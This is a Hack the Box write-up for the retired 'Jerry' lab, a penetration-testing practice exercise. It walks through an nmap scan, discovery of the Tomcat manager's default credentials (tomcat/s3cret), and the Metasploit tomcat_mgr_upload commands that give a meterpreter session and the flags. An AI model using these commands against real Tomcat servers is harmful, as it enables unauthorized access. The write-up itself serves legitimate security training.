CTF Challenges

Hack the Box: Jerry Walkthrough

Hello CTF Crackers!! Today we are going to capture the flag on a Challenge named as “Jerry” which is available online for those who want to increase their skill in penetration testing and black box testing. Jerry is a retired vulnerable lab presented by ‘Hack the Box’ for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges from beginners to expert level.

Level: Easy

Flags: There are two flags. (user.txt & root.txt)

IP Address:

Penetrating Methodologies

  • Port scanning and IP discovery
  • Browsing the IP on port 8080
  • Enumerating served webpage
  • Getting Login Credentials
  • Attacking using Metasploit
  • Getting root Access
  • Reading the flags


Since these labs are available online via VPN therefore, they have a static IP Address. The IP Address of Jerry is

Let’s start off with scanning the network to find our target

nmap -sV

So here, we notice very interesting result from nmap scan, it shows port 8080 is open for Apache Tomcat/ Coyote JSP Engine 1.1

Next order of business is to browse the IP on a Web Browser.

On opening the IP on the Web Browser, we are greeted with the default TomCat page. After some enumeration here and there, we found the “Manager App” Link. Upon clicking this link, we are struck with a Login Form as shown below.

Here, after some tweaking with some passwords and other stuff, we found that clicking on “Cancel” Button triggers a 401 Error as shown in the image.

After closely reading the example on the webpage provided, we got the Login Credentials.

User: tomcat
Password: s3cret

Its time to attack, using the Swiss knife of any penetration tester – “Metasploit”.

After doing some research and some tries, it was clear that we can use the tomcat_mgr_upload exploit.

So, let’s do this:

msf> use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost
msf exploit(multi/http/tomcat_mgr_upload) > set rport 8080
msf exploit(multi/http/tomcat_mgr_upload) > set HttpUsername tomcat
msf exploit(multi/http/tomcat_mgr_upload) > set HttpPassword s3cret
msf exploit(multi/http/tomcat_mgr_upload) > exploit

As shown in the image provided below, the exploit runs successfully and gives a meterpreter session with elevated privileges.

We traverse through the Directories to get flag using commands like “ls” and “cd”

After a little bit of enumeration, we get to the C:\Users directory. Here we come across the Administrator directory so we traverse to that directory. And the further we traverse to the Desktop directory.

This gives us the flags directory, which on opening gives us a text file named 2 for the price of 1. On opening, we get both the user and the root password.

Author: Pavandeep Singh is a Technical Writer, Researcher and Penetration Tester Contact here